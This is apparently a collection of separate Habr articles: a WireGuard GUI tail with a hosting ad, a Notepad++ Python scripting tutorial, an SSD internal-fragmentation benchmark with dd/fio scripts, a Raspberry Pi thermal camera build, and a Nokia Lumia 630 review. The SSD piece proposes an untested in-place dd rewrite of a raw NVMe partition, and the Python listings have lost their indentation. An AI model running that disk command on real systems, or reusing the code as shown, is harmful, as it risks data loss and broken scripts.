--cap-add NET_ADMIN \
--volume /usr/bin/wg:/usr/bin/wg \
--volume /data:/data \
--env SUBSPACE_HTTP_HOST=subspace.example.com \
subspacecloud/subspace:latest
$ sudo docker start subspace
```
[Репозиторий тут](https://github.com/subspacecloud/subspace).
Вместо выводов
--------------
Если вы еще не пробовали этот VPN — настоятельно рекомендую. Часто он способен оживить не очень мощное железо, которое не справлялось под нагрузкой ранее. А еще он не очень сложен в конфигурации. Правда, его основная задача все же пробивание прямых, заранее настроенных туннелей. Всякие динамические конфигурации ему недоступны в привычном понимании. Своеобразная плата за простоту и производительность.
Кстати, если вы еще не в курсе, то wireguard уже [включен в бета-версию RouterOS 7.1](https://forum.mikrotik.com/viewtopic.php?f=1&t=165248) от MikroTik. Попробовать можно уже сейчас, но, по моим ощущениям, оно еще сыровато.
Ну и традиционно могу пригласить попробовать [задеплоить wireguard на наших VPS](https://ruvds.com/ru-rub#order). Например, чтобы заворачивать часть трафика домашней сети в Швейцарию или Нидерланды. У нас много разных локаций и ценовая политика весьма приятная для подобных задач.
Как я уже говорил, Wireguard очень экономно потребляет ресурсы, поэтому более чем достаточно будет минимальной конфигурации с 1 ядром и 1 ГБ оперативной памяти для поддержки большого количества клиентов. Цены тоже получаются довольно гуманные:
* [Локация в Амстердаме, Лондоне, Франкфурте](https://ruvds.com/ru-rub/pricing#order) — 503 ₽/мес.
* [А на Московской площадке, с процессором чуть попроще](https://ruvds.com/ru-rub/pricing#order) — 240 ₽/мес.
[](https://ruvds.com/ru-rub/news/read/126?utm_source=habr&utm_medium=article&utm_campaign=meklon&utm_content=wireguard_dlya_kubernetes_i_udobnye_gui)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=meklon&utm_content=wireguard_dlya_kubernetes_i_udobnye_gui#order) | https://habr.com/ru/post/532140/ | null | ru | null |
# Скрипт для Notepad++ на Python
#### Введение
Думаю, многим известен [Notepad++](http://notepad-plus-plus.org/) — удобная бесплатная утилита, выступающая в качестве «продвинутой» замены стандартному Блокноту Windows. Как и при работе в любом текстовом редакторе, в Notepad++ время от времени возникает необходимость автоматизировать какие-либо повторяющиеся действия, которые в силу сложности логики невозможно записать как макрос. К счастью, для решения этой задачи нет необходимости переключаться из Notepad++ в, например, Word, дабы воспользоваться встроенным в него VB.
Среди плагинов для Notepad++ существуют расширения, реализующие возможность написания скриптов для Notepad++ на разных языках, таких как JavaScript, Lua, PHP или Python. Именно на последнем я и решил остановиться для решения своей задачи.
#### Постановка задачи
Предположим, перед нами стоит следующая задача (взята из жизни).
1. В выделенном фрагменте текста (если ничего не выделено — то во всём документе):
* пронумеровать символы '@', находящиеся в начале строки, заменив '@' на '@1', '@2' и т.д.;
* удалить пустые (включая пробелы и табуляцию) строки, идущие подряд по две и более.
2. При запуске скрипта должен выдаваться запрос — с какого номера начинать нумерацию символов '@'. По умолчанию (по нажатию «Enter»), нумерация должна начинаться с 1. Если введено не числовое значение, окно запроса должно появляться вновь, до тех пор, пока не будет введено число.
3. Если в выделенном фрагменте текста (или во всём документе — в случае если нет выделения) отсутствует символ '@', должно выводиться соответствующее сообщение об ошибке.
4. Должна присутствовать возможность запуска скрипта:
* по нажатию соответствующей кнопки на панели инструментов;
* с помощью клавиатурного сочетания;
* через контекстное меню правой кнопки мыши.
#### Решение
Для начала нам потребуется установить плагин для Notepad++ под названием [Python Script](http://npppythonscript.sourceforge.net/). С его помощью можно производить любые операции с редактируемым текстом, открывать/закрывать файлы, переключать вкладки, выполнять команды меню Notepad++ и т.д. — одним словом, практически всё, что вообще можно сделать в Notepad++.
Далее, выбрав в меню Notepad++ *Plugins->Python Script->New Script*, создаём скрипт:
```
# -*- coding: utf-8 -*-
#Скрипт для Notepad++, удаляющий пустые строки и нумерующий символы "@", находящиеся в начале строки
# Получаем выделенный текст
text = editor.getSelText()
isSelection = True
# Если текст не выделен, то работаем со всем документом
if not text:
isSelection = False
text = editor.getText()
#Находим количество вхождений символа "@", находящегося в начале строки
import re
occurrencesCount = len(re.findall('^@', text, flags=re.MULTILINE))
# Если в тексте нет ни одного символа "@" в начале строки, выводим сообщение об ошибке
if occurrencesCount == 0:
notepad.messageBox('В тексте должен присутствовать как минимум 1 символ "@" в начале строки', 'Неверный формат входных данных', MESSAGEBOXFLAGS.ICONEXCLAMATION)
# Если символ "@" присутствует, то
else:
countStartFrom = ''
# Выдаём запрос до тех пор, пока не будет введено число
while not countStartFrom.isdigit():
countStartFrom = notepad.prompt('Введите число, с которого должна начинаться нумерация вхождений в тексте символа "@":', 'Нумерация вхождений символа "@"', '1')
if countStartFrom == None:
break
if countStartFrom != None:
# Удаление пустых строк
text = re.sub('\r\n\\s*\r\n', '\r\n', text)
# Удаление пустой строки в конце и в начале файла/выделения
text = re.sub('\r\n\s*$|^\s*\r\n', '', text, flags=re.MULTILINE)
# Переводим countStartFrom из строки в целочисленный тип
countStartFrom = int(countStartFrom)
# Функция, возвращающая символ "@" с добавленным к нему и увеличенным номером
def addNumber(matchobj):
global countStartFrom
countStartFrom += 1
return '@'+str(countStartFrom-1)
#Добавляем нумерацию ко всем символам "@", находящимся в начале строки
text = re.sub('^@', addNumber, text, flags=re.MULTILINE)
#Заменяем обработанной строкой выделение или весь документ
if isSelection:
editor.replaceSel(text)
else:
editor.setText(text)
```
Если мы назвали скрипт «Empty Lines And Count», то запустить его можно из меню *Plugins->Python Script->Scripts->Empty Lines And Count*. Чтобы добавить его кнопку на панель инструментов и сделать возможным запуск по клавиатурному сочетанию, в настройках плагина (*Plugins->Python Script->Configuration*) выбираем созданный нами скрипт и добавляем его в меню и на панель инструментов. Теперь после перезапуска Notepad++ соответствующая кнопка появится на панели инструментов.
Назначить скрипту сочетание клавиш можно в меню *Settings->Shortcut mapper* в разделе *Plugin commands*.
Чтобы добавить скрипт в контекстное меню Notepad++, нужно в xml-файл настроек (*Settings->Edit Popup ContextMenu*) добавить в нужном вам месте (например, перед первым элементом) следующие строчки:
```
```
Вот и всё. Теперь даже рутинные действия со сложной логикой можно выполнять одним кликом.
Полезные ссылки:
* [Документация плагина Python Script](http://npppythonscript.sourceforge.net/docs/latest/)
* [Документация Python](http://python.org/doc/) | https://habr.com/ru/post/135822/ | null | ru | null |
# Ещё один взгляд на вопрос «нужна ли дефрагментация для SSD»
Несомненно, вопрос, вынесенный в заголовок статьи, не нов, поднимался не раз и по нему достигнут консенсус «не особо нужна, и даже может быть вредна».
Однако [недавнее обсуждение](https://habr.com/ru/company/ruvds/blog/493696/#comment_21429898) в комментариях заставило меня ещё раз задуматься.
> Со временем любой SSD всё равно сильно фрагментируется (внутри, в FTL)… Свежезаписанный SSD при линейном чтении даст высокую скорость, а уже поработавший — гораздо ниже, потому что линейными оно будет только для вас.
Да, *обычно* такое не должно происходить: или мы пишем «понемногу» в мелкие файлы/небольшие блоки метаинформации ФС (скорость линейного чтения которых нас не особо волнует), либо же мы пишем «помногу» в большие файлы и всё будет хорошо. Бывает и дозапись мелкими блоками в большие файлы — логи, например, однако они относительно короткоживущие и особой проблемы я тут не вижу.
Но легко представился вполне реальный сценарий, при котором всё-таки внутренняя фрагментация SSD может проявиться: файл базы данных, в который идёт достаточно активная случайная запись. Со временем он (оставаясь нефрагментированным на уровне операционной системы) окажется физически очень даже фрагментированным, что может существенно снизить скорость seq scan, резервного копирования и т.п.
Для проверки я написал скрипт и провёл тесты.
Спойлер: проблема присутствует (существенно влияет на производительность) только на одной из попавшихся под руки моделей (и та позиционируется производителем не как datacenter, а как десктопная/ноутбучная).
**Про что тут вообще речь? Какая ещё фрагментация внутри SSD?**
Если в двух словах, SSD устроен очень непросто. В NAND flash можно писать (точнее стирать) только большими блоками. А операционная система видит SSD как набор 512-байтовых (или 4096-байтовых) секторов, каждый из которых может быть адресован независимо.
Чтобы как-то это совместить, придумана такая вещь, как FTL (flash translation layer): данные во flash-памяти лежат не последовательно, а (очень условно) в том порядке, в котором они были записаны, что-то вроде [log-структурированных файловых систем](https://www.alv.me/3082/).
Такие структуры очень хорошо обрабатывают случайную запись, превращая её в последовательную, но, увы, ничто не бывает бесплатно — в результате зачастую последовательное чтение превращается в случайное.
Алгоритмы, по которым работают FTL, закрыты, однако, насколько мы можем судить, у разных производителей они могут кардинально различаться. Соответственно, кардинально может различаться и поведение накопителей под нагрузкой.
Именно это мы и будет исследовать.
Идея скрипта: создаём файл на несколько гигабайт, заполненный случайными данными, замеряем скорость последовательного чтения.
Далее используя случайный доступ переписываем часть тестового файла и снова измеряем скорость линейного чтения. Если наши подозрения верны, то теперь чтение из файла будет идти медленнее.
После каждой записи делаем по три операции чтения с задержкой между ними на случай, если какой-то накопитель в фоне производит дефрагментацию и *потом* скорость чтения улучшится.
**Немного о том, почему нужно заполнять SSD перед тестированием**
Не раз встречал обзоры, в которых запускают чтение с нового накопителя, получают какие-то фантастические цифры и, ничтоже сумняшеся, публикуют их. Через какое-то время тест повторяют уже на не столь девственном диске, и вдруг оказывается, что время доступа выросло, а скорость, соответственно, упала.
Дело в поддержке TRIM: контроллер внутри SSD может «знать», что в конкретном блоке нет полезных данных, информация об этом хранится в FTL. И при запросе на чтение из такого блока он не обращается к медленной NAND flash, а сразу возвращает нули. На новом накопителе все блоки помечены как неиспользуемые, соответственно, в тестах на чтение он готов ставить рекорды. Только нас же интересует с какой скоростью SSD умеет отдавать не нули, а данные.
Кроме этого, некоторые накопители умеют сжимать данные, и на хорошо сжимаемых тестовых данных могут показывать не совсем те результаты, которые будут в реальной жизни.
Поэтому, перед тестированием стоит заполнять SSD несжимаемыми данными (в linux хорошим источником может служить `/dev/urandom`).
**шелловский скрипт**
тестовый файл создаётся в текущем каталоге.
тестировал только под linux c dash, coreutils и fio из debian buster, с другими дистрибутивами навряд ли будут проблемы, а вот под freebsd и другие операционные системы скорее всего скрипт придётся «допиливать».
```
echo preparing...
dd if=/dev/urandom of=testfile bs=1M count=4096 status=none
sync
for A in 1 2 3; do
sleep 10
dd if=testfile of=/dev/null bs=1M iflag=direct
done
for A in 50 200 800 4000; do
echo fio: write ${A}M...
fio --name=test1 --filename=testfile --bs=4k --iodepth=1 --numjobs=1 --rw=randwrite --io_size=${A}M --randrepeat=0 --direct=1 --size=4096M > /dev/null
sync
for B in 1 2 3; do
echo sleep ${B}0
sleep ${B}0
dd if=testfile of=/dev/null bs=1M iflag=direct
done
done
echo sleep 3600
sleep 3600
dd if=testfile of=/dev/null bs=1M iflag=direct
```
Обнаружилось, что NVMe-накопители intel у меня сейчас только на серверах с windows; пришлось с помощью гугла, stackexchange ~~и какой-то матери~~ слепить вариант и под винду
**вариант на ps**
Из внешних зависимостей только `fio`; путь к exe-файлу и временному файлу указывается в первых строчках скрипта.
```
$testfile = "c:\temp\testfile"
$fio = "c:\temp\fio-3.18-x64\fio"
echo "preparing..."
$filestream = New-Object System.IO.FileStream($testfile, "Create")
$binarywriter = New-Object System.IO.BinaryWriter($filestream)
$out = new-object byte[] 1048576
For ($i=1; $i -le 4096; $i++) {
(new-object Random).NextBytes($out);
$binarywriter.write($out)
}
$binarywriter.Close()
For ($i=1; $i -le 3; $i++) {
sleep 10
$time = Measure-Command {
Invoke-Expression "$fio --name=test1 --filename=$testfile --bs=1M --iodepth=1 --numjobs=1 --rw=read --direct=1 --size=4096M" *>$null
}
$seconds = $time.Minutes*60+$time.Seconds+$time.Milliseconds/1000
echo "read in $seconds"
}
foreach ($A in 50,200,800,4000) {
echo "fio: write ${A}M..."
Invoke-Expression "$fio --name=test1 --filename=$testfile --bs=4k --iodepth=1 --numjobs=1 --rw=randwrite --io_size=${A}M --randrepeat=0 --direct=1 --size=4096M" *>$null
For ($i=10; $i -le 30; $i+=10) {
echo "sleep $i"
sleep $i
$time = Measure-Command {
Invoke-Expression "$fio --name=test1 --filename=$testfile --bs=1M --iodepth=1 --numjobs=1 --rw=read --direct=1 --size=4096M" *>$null
}
$seconds = $time.Minutes*60+$time.Seconds+$time.Milliseconds/1000
echo "read in $seconds"
}
}
rm $testfile
```
Получил следующие результаты:
* фоновой дефрагментации в тестируемых моделях не обнаружено: скорость чтения не повышается через некоторое время после записи, в том числе длительный «отстой» (час и даже более суток) ничего не меняет, поэтому в таблице ниже привожу просто лучший результат из трёх запусков;
* под windows почему-то время чтения менее стабильно и оказалось выше ожидаемого (впрочем, возможно, дело в том, что эти сервера оказались более нагружены);
* продолжение записи сверх указанного в скрипте (перезапись файла более одного раза) не влияет на производительность.
Время чтения (в секундах) файла размером 4Гб для разных дисков:
| Диск | Первое чтение после последовательного заполнения файла | После случайной записи 50Мб | +200Мб | +800Мб | +4000Мб |
| --- | --- | --- | --- | --- | --- |
| **intel S3510 SSDSC2BB480G6** | 10.7 | 10.7 | 10.8 | 10.8 | 10.8 |
| toshiba XG5 KXG50ZNV512G | 1.9 | 2.9 | 3.7 | 4.8 | 6.8 |
| **samsung PM963 MZQLW960HMJP** | 2.8 | 3.2 | 3.5 | 3.7 | 4.2 |
| **samsung PM983 MZQLB960HAJR** | 3.3 | 3.6 | 3.4 | 3.4 | 3.4 |
| samsung PM981 MZVLB1T0HALR | 1.8 | 1.8 | 2.1 | 2.5 | 3.5 |
| **samsung PM1725b MZPLL1T6HAJQ** | 1.8 | 1.9 | 2.0 | 2.3 | 2.9 |
| **micron 5200 eco** | 9.3 | 9.8 | 10.4 | 12.2 | 10.7 |
| **samsung PM883 MZ7LH1T9HMLT** | 7.9 | 7.9 | 8.1 | 8.1 | 8.0 |
| **intel P3520** (win) | 5.8 | 5.9 | 6.0 | 6.1 | 5.8 |
| **intel P4500** (win) | 4.2 | 4.2 | 4.3 | 4.4 | 4.3 |
Жирным отмечены DC модели (остальные — десктопные/ноутбучные); где SATA, а где NVMe, думаю, видно без пояснений.
Мы видим, что по мере случайной записи в файл у самсунга PM981 скорость чтения падала и в итоге упала вдвое (но осталась, правда, достаточно неплохой), а у единственной тошибы в таблице — вовсе в 3.5 раза, фактически сравнявшись с таковой у SATA устройств.
С другой стороны, у большинства устройств случайная запись или вовсе не повлияла на производительность, или повлияла незначительно.
Моя интерпретация этих результатов: скорость линейного чтения у SSD действительно может деградировать со временем, однако деградация, вызванная внутренней фрагментацией, не носит совсем уж фатального характера на большинстве дисков (на дисках intel, например, она вовсе незаметна; на дисках samsung если и заметна, всё равно скорость чтения остаётся вполне приемлемой).
Остаётся открытым вопрос деградирует ли скорость чтения со временем по другим причинам (например, из-за износа NAND flash).
Могу сказать про тошибу XG5: разницы в поведении между диском, на который по SMART было записано >>150Тб, и новым диском я не заметил — или 300-400 перезаписей недостаточно, чтобы износ flash стал заметен, или он вовсе не влияет на производительность SSD.
По поводу падения производительности после случайной записи: у меня как раз на такой тошибе хранится достаточно нагруженная БД mysql размером около 100Гб. Действительно, в полном соответствии с изложенными выше теорией и измерениями, скорость чтения «боевых» таблиц mysql оказалась достаточно низкой (около 600Мб/с), скорость же чтения других крупных файлов с той же файловой системы гораздо выше (>2Гб/с).
**Как бороться с внутренней фрагментацией SSD**
~~Если хочется побороть, то можно воспользоваться одним из первых методов дефрагментации: делаем бэкап, удаляем файлы, восстанавливаем из бэкапа. Недостаток этого метода в том, что он достаточно долгий и подразумевает downtime (а через некоторое время данные во флеш-памяти снова окажутся фрагментированными и всё придётся повторять сначала). Так что проще или смириться, или выбирать диски, которые не подвержены этой проблеме.~~
Придумал относительно быстрый способ избавиться от внутренней (и только от внутренней) фрагментации SSD:
```
sync
fsfreeze -f /mountpoint
dd if=/dev/nvme0n1p2 of=/dev/nvme0n1p2 bs=512M iflag=direct oflag=direct status=progress
fsfreeze -u /mountpoint
```
**Не должно приводить к потере данных, но я не тестировал на боевых системах, ничего не гарантирую!**
Есть ещё одно «но»: я не уверен на 100%, что все SSD правильно обрабатывают ситуацию «пишем нули в область, для которой до этого делали TRIM» (то есть с точки зрения накопителя области ФС, на которые ранее делали TRIM, могут теперь считаться не свободными, а занятыми данными).
В целом, рекомендация «~~забить~~ смириться или выбирать диски» остаётся в силе.
**Резюме:** дефрагментация может быть полезна для **некоторых** SSD, однако **не совсем такая** (совсем не такая?) как для HDD. Нам важно не только то, что файл расположен в непрерывной цепочке секторов, но и то, что запись в эти секторы шла последовательно.
P.S. был бы благодарен, если бы читатели запустили скрипт у себя и привели цифры для своих SSD, так как моя выборка накопителей достаточно однобокая. | https://habr.com/ru/post/494614/ | null | ru | null |
# Making a DIY thermal camera based on a Raspberry Pi
Hi everyone!
Winter has arrived, and so I had to check the thermal insulation of my ~~out of town residence~~ dacha. And it just turned out a famous Chinese marketplace started to sell cheap thermal camera modules. So I decided to DIY it up and build a rather exotic and useful thing — a heat visor for the home. Why not? Especially since I had a Raspberry Pi lying around anyway… The result is down below.
MLX90640. What is it?
---------------------
This is a thermal camera matrix with an onboard microcontroller, made by an unknown (to me) company called Melexis. The matrix is 32x24 pixels, which isn’t a lot, but after interpolation it’s enough to notice general trends.
The sensor comes in two versions, the only difference being the case and the camera’s FoV. The more grounded A model observes the world with 110 degrees horizontally and 75 vertically. The B model has 55 and 37.5 degrees respectively. The case has four outputs — two for power and two for talking to a controller device via I2C. The datasheet can be found [here](https://www.melexis.com/en/documents/documentation/datasheets/datasheet-mlx90640).
What’s GY-MCU90640, then?
-------------------------
Our Chinese fellows also ship the MLX90640 chip with another microcontroller on board (STM32F103), probably for easier matrix control. The whole unit is called GY-MCU90640, and it costed me around 5000 RUB (roughly $80) in December 2018. It looks like this:
As we can see, there are also two versions of this model, with different sensors
Which one will work best? Unfortunately, I only asked myself this question after the module has been ordered, shipped and received. I haven’t thought about it when choosing.
The wider-angle version is best suited for self-driving robots or CCTV systems (since its field of view is better). The datasheet says it’s also less noisy and more accurate.
But for visualization I’d recommend the more “eagle-eyed” B model, for one very important reason. It can be turned in place (manually or via a drive) to make combined images way more detailed than its 32x24 resolution. But I don’t have one, so later on I’ll be talking about the wider-angled A model.
Connecting to the Raspberry Pi
------------------------------
We can control the thermal camera in two ways:
* Short the “SET” pins on the board and use the I2C protocol to control the MLX90640 microcontroller directly
* Leave the pins be and use the STM32F103 controller through RS-232 or similar interface.
If you code in C++, you’re probably better off ignoring the extra controller, short the pins and use the manufacturer’s API, found [here](https://github.com/melexis/mlx90640-library).
Humble Pythonists could also use the first option. There appears to be a couple of Python libraries ([here](https://github.com/RevKarl/MLX90640-python) and [here](https://github.com/bsdz/mlx90640-library)), but neither worked out of the box for me.
Advanced Pythonists could theoretically write their own controller driver. The datasheet explains how to extract a frame out of it. But you’ll have to describe all the calibration procedures manually, which I find excessively hard. So I used option 2. It turned out to be a bit convoluted, but still manageable.
Thanks to Chinese ingenuity (or luck), the output configuration on the board turned out to be very convenient:
All I needed to do was to insert the board into Raspberry’s port. The board has a 5V-3V converter built in, so the delicate Rx and Tx outputs of the Pi aren’t in any danger.
I’d also add that you could connect it similarly while using option 1, but you’ll have to be extremely careful and proficient in soldering. The board has to be mounted on the other side of the Pi (example is in the header photo).
Software
--------
The famous Chinese marketplace offers this majestic piece of software for accessing the GY-MCU90640:
Apparently there also has to be some description of the communication protocol used to access the microcontroller, and after a short chat with the seller (big respect to him), I had said protocol in my hands. In PDF and in pure, distilled Chinese.
Thanks to Google Translate and a healthy dose of copy-pasting, around 90 minutes later the protocol has been decoded. I uploaded it on GitHub. Turned out that the board understand 6 basic commands, including one for requesting the current frame via a COM port.
Every pixel of the matrix is essentially a reading of the object’s temperature. The temperature value is in degrees Celsius multiplied by 100 (a 2-byte number). There’s even a special mode when the board sends frames to the Pi automatically 4 times per second.
**The full script for receiving thermal images:**
```
"""MIT License
Copyright (c) 2019
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE."""
import serial, time
import datetime as dt
import numpy as np
import cv2
# function to get Emissivity from MCU
def get_emissivity():
ser.write(serial.to_bytes([0xA5,0x55,0x01,0xFB]))
read = ser.read(4)
return read[2]/100
# function to get temperatures from MCU (Celsius degrees x 100)
def get_temp_array(d):
# getting ambient temperature
T_a = (int(d[1540]) + int(d[1541])*256)/100
# getting raw array of pixels temperature
raw_data = d[4:1540]
T_array = np.frombuffer(raw_data, dtype=np.int16)
return T_a, T_array
# function to convert temperatures to pixels on image
def td_to_image(f):
norm = np.uint8((f/100 - Tmin)*255/(Tmax-Tmin))
norm.shape = (24,32)
return norm
########################### Main cycle #################################
# Color map range
Tmax = 40
Tmin = 20
print ('Configuring Serial port')
ser = serial.Serial ('/dev/serial0')
ser.baudrate = 115200
# set frequency of module to 4 Hz
ser.write(serial.to_bytes([0xA5,0x25,0x01,0xCB]))
time.sleep(0.1)
# Starting automatic data colection
ser.write(serial.to_bytes([0xA5,0x35,0x02,0xDC]))
t0 = time.time()
try:
while True:
# waiting for data frame
data = ser.read(1544)
# The data is ready, let's handle it!
Ta, temp_array = get_temp_array(data)
ta_img = td_to_image(temp_array)
# Image processing
img = cv2.applyColorMap(ta_img, cv2.COLORMAP_JET)
img = cv2.resize(img, (320,240), interpolation = cv2.INTER_CUBIC)
img = cv2.flip(img, 1)
text = 'Tmin = {:+.1f} Tmax = {:+.1f} FPS = {:.2f}'.format(temp_array.min()/100, temp_array.max()/100, 1/(time.time() - t0))
cv2.putText(img, text, (5, 15), cv2.FONT_HERSHEY_SIMPLEX, 0.45, (0, 0, 0), 1)
cv2.imshow('Output', img)
# if 's' is pressed - saving of picture
key = cv2.waitKey(1) & 0xFF
if key == ord("s"):
fname = 'pic_' + dt.datetime.now().strftime('%Y-%m-%d_%H-%M-%S') + '.jpg'
cv2.imwrite(fname, img)
print('Saving image ', fname)
t0 = time.time()
except KeyboardInterrupt:
# to terminate the cycle
ser.write(serial.to_bytes([0xA5,0x35,0x01,0xDB]))
ser.close()
cv2.destroyAllWindows()
print(' Stopped')
# just in case
ser.close()
cv2.destroyAllWindows()
```
Results
-------
The script polls the thermal matrix and outputs frames to the connected monitor’s console, 4 times per second, which is enough to not experience too much discomfort. For visualization it uses the OpenCV package. When you press S, “heat maps” from the camera are uploaded as JPGs to the script’s folder.
For better viewability I also made the app display minimum and maximum temperature within the frame. So, by looking at the heat map we can estimate the temperature of the coldest and hottest objects (within a degree, usually on the higher side), within the range of 20-40 degrees. Ctrl+C exits the script.
The script works the same on the Raspberry Pi Zero W and Pi 3 B+. I installed a VNC server on my smartphone, so, by carrying a Pi connected to a power bank with a VNC-enabled smartphone we can get a pocket thermal camera that saves images. Might not be too convenient, but it does the job.
After the first boot it might display the maximum temperature incorrectly, in which case just rebooting the script should do the job.
That’s about it for today. The experiment could be considered a success. You can definitely do a thermal scan of a house using this device. If someone can come up with other uses for this, please write in the comments.
Happy work week and see you soon!
UPD: I was asked in the comments to take a shot of the house from the outside. Here it is. The pictures ended up not very informative due to lower contrast of temperatures. The two upper photos are the entire house from two angles. The two lower photos are different windows.
The only change I made to the code was the temperature range: from +20...+40 to -10…+5. | https://habr.com/ru/post/441050/ | null | en | null |
# Nokia Lumia 630 Dual Sim протестировано на себе
Давно жаждал пощупать windows phone 8, однако количество сим-карт в подобных аппаратах было равно единице, а для работы требовалось минимум наличие двух слотов. Ходил я с красным (это важно) Philips Xenium 732 и радовался что у меня под конец дня зарядка на уровне 40%. И тут анонс WP8.1 с поддержкой двух сим-карт. Пуская слюни на обзоры и, попутно, выгребая счастье из штанов я принялся ждать.
И вот месяц назад это чудо появилось в продаже на n-store и я, в благоговейном трепете, нажал кнопку «оформить заказ» (думаю неважно, что n-store не доставляет в наше захолустье и заказывал я через другие пути). Через пару дней я пришел в магазин по месту доставки и…
#### Внешний вид, комплектация и удобство
Начну, пожалуй, с того, что в комплекте кроме цветной задней панели есть классическая черная. Красной, к сожалению, не бывает (я же говорил, что это важно) по этому я взял максимально близкий — оранжевый.
###### Совет первый — клейте пленку сразу
Не успел я его достать из коробки, как на экране появились ужасно четкие отпечатки пальцев. Сразу и много. На столько много, что появилось желание положить его обратно, спрятать руки за спину и с наглым видом орать «это не я!». Из элементов: на задней панели — неброская надпись «nokia», маленький черный пятак камеры и в нижнем углу разметом со стержень отверстие под динамик (сам динамик при этом в разы больше по площади); на передней: защитное стекло, так же неяркая «nokia», маленькие динамик и микрофон (да-да, кнопки программные); сверху — джек 3,5; снизу — usb; с права — кнопка питания и качелька громкости. Удобный ход кнопок и расположение — все под большим пальцем и в легкой доступности. На вид аппарат смотрится стильно, кнопки не выделяются, на передней панели ничего лишнего, борты экрана не выступают — в общем красавец.
###### Совет второй — у вас же есть microUSB-B?
Комплектация скудная и ужасно бедная — телефон, аккумулятор, две крышечки, зарядник (цельный, не адаптер), макулатура. Ни наушников, ни кабеля. Следовало бы прикрепить фотографии комплектующих отдельно, но… Тут следует сделать оговорку: у него есть отличная функция — скриншоты «из коробки» (нажатием кнопки питания и клавиши увеличения громкости), а значит их в статье будет достаточное количество, но я об этом препупреждал.
###### Удобство по аппаратной части
Личное впечатление только одно: супер! Громкий и приятный звук, легкий, в меру тонкий, не скрипит, не люфтит, в руке лежит отлично, доступность кнопок и яркая панелька (как мне подсказали представительницы прекрасного пола — оранжевый [тренд этого лета](http://habrahabr.ru/info/help/rules/)). Зарядки хватает на 2 дня (даже дольше Xenium'а — хоть это, скорее и программная заслуга). Однако «супер» — это не «идеально»: нет вспышки, передней камеры и датчика освещенности. Вспышка — реальный минус, передняя камера — для меня спорный вопрос: возможность и невозможность отвечать на видеозвонки одинаково полезны, датчик освещенности — на прямом солнечном свете приходится вручную переключаться на максимальную яркость. Отсутствие датчика приближения не ощущается, благодаря классному решению учитывать касания в верхней части экрана ухом — осечки не было ни разу.
**ТТХ**Общие характеристики
* GSM 900/1800/1900, 3G
* Операционная система MS Windows Phone 8.1
* 2 micro SIM
Режим работы попеременный
* Вес 134 г
Размеры (ШxВxТ) 66.7x129.5x9.2 мм
Экран
* цветной IPS, 16.78 млн цветов, сенсорный мультитач, емкостный
* 4.5 дюйм.
* 480x854
* PPI 218
* Corning Gorilla 3
Мультимедийные возможности
* Фотокамера 5 млн пикс. автофокус, цифровой Zoom 4x
* MP4/H.264 макс. разрешение видео 1280x720 30 кадров/с
Связь
* Wi-Fi 802.11n, Bluetooth 4.0, USB
* GPS/ГЛОНАСС A-GPS
Память и процессор
* 4х1200 МГц
* ПЗУ 8 Гб
* ОЗУ 512 Мб
* microSD (TransFlash), объемом до 128 Гб
Питание
* Емкость аккумулятора 1830 мАч съемный
* Время разговора 16.4 ч
Время ожидания 600 ч
Время работы в режиме прослушивания музыки 58 ч
#### ОСь или «да не начнется холивар»
Начнем с хорошего. Сразу оговорюсь, что мне приятна и удобна идея живых плиток, по этому сразу:
Да, не бойтесь ставить дополнительный ряд для плиток — все прекрасно видно.
```
Простите за столь огромный скрин, дальше все будет значительно мельче и обзорнее.
```
Пройдемся по основным «косякам» ОС. Начну, пожалуй, с отсутствия рабочего стола и тыкну пальцем в картинку выше и воскричу «Да вот же он!» он вполне объединяет удобное меню и несколько рабочих столов с виджетами. На Android'e я делал примерно тоже самое: вместо того, чтобы лезть в меню у меня было один или даже два экрана чисто ярлыков; в большинстве случаев информативные виджеты занимали больше места, чем сейчас (пример: виджет погоды); компоновать виджеты и ярлыки было менее удобно; все было «разношорстным», тогда как сейчас все в ровных прямоугольниках (и квадратах, как частный случай прямоугольника).
Теперь о простыни меню — вспомните любимую многими функцию «скрыть программы из меню». Плюсом, как я уже говорил, его вполне заменяет начальный экран. И да, в меню можно увидеть не только надпись «новое», но и состояние установки: прогрессбар или положение в очереди.
Настройки, кстати, ничуть не хуже. чем в том же самом голом Android'e, единственное, сгруппированны слабо, но после первых пары сотен раз в настройках почти полностью отпадает необходимость.
   
  
Теперь уже о личных «фишках» этой ОС. Точнее об одной и не потому, что она одна, а потому что она реально крута: полноценная RDP. Я ссал кипятком, когда понял насколько это удобно.
  
 
###### Не заскучали?
Магазин приложений. Тут хабраюзер в большинстве своем ухмыльнется с мыслью «посмотрим как он здесь оправдает ОС!» — Да никак. Нет, я понимаю — молодая ОС, все развивается, да и приложений не так уж и мало. Однако количество адекватных приложений — единицы, да и большинство тупо повторяют функционал другого. Если на play.google.com я мог найти работающее бесплатное приложение на каждый чих, то в данном случае проблемно найти действительно нужное приложение под адекватные запросы. Как пользователю — это большой и жирный минус, однако как программисту — идею для нового проекта не нужно долго искать.
И на последний абзац самое вкусное — синхронизация. «Три экрана» от Microsoft действительно работают. Темы, SkyDrive, Office, сторонние приложения… Но не бывает бочки меда без ложки дегтя — чтобы приложение работало везде его нужно сделать везде. Да, код почти на 100% Ctrl+C — Ctrl+V и чаще всего лишь немного адаптации интерфейса, но это все же надо сделать. Приложений, которые работают на всех трех типах устройств — единицы. Да что греха таить, свои проекты я так же делаю лишь на smart и на desktop забивая на планшеты.
**UPD1. Работа с двумя сим-картами**
   
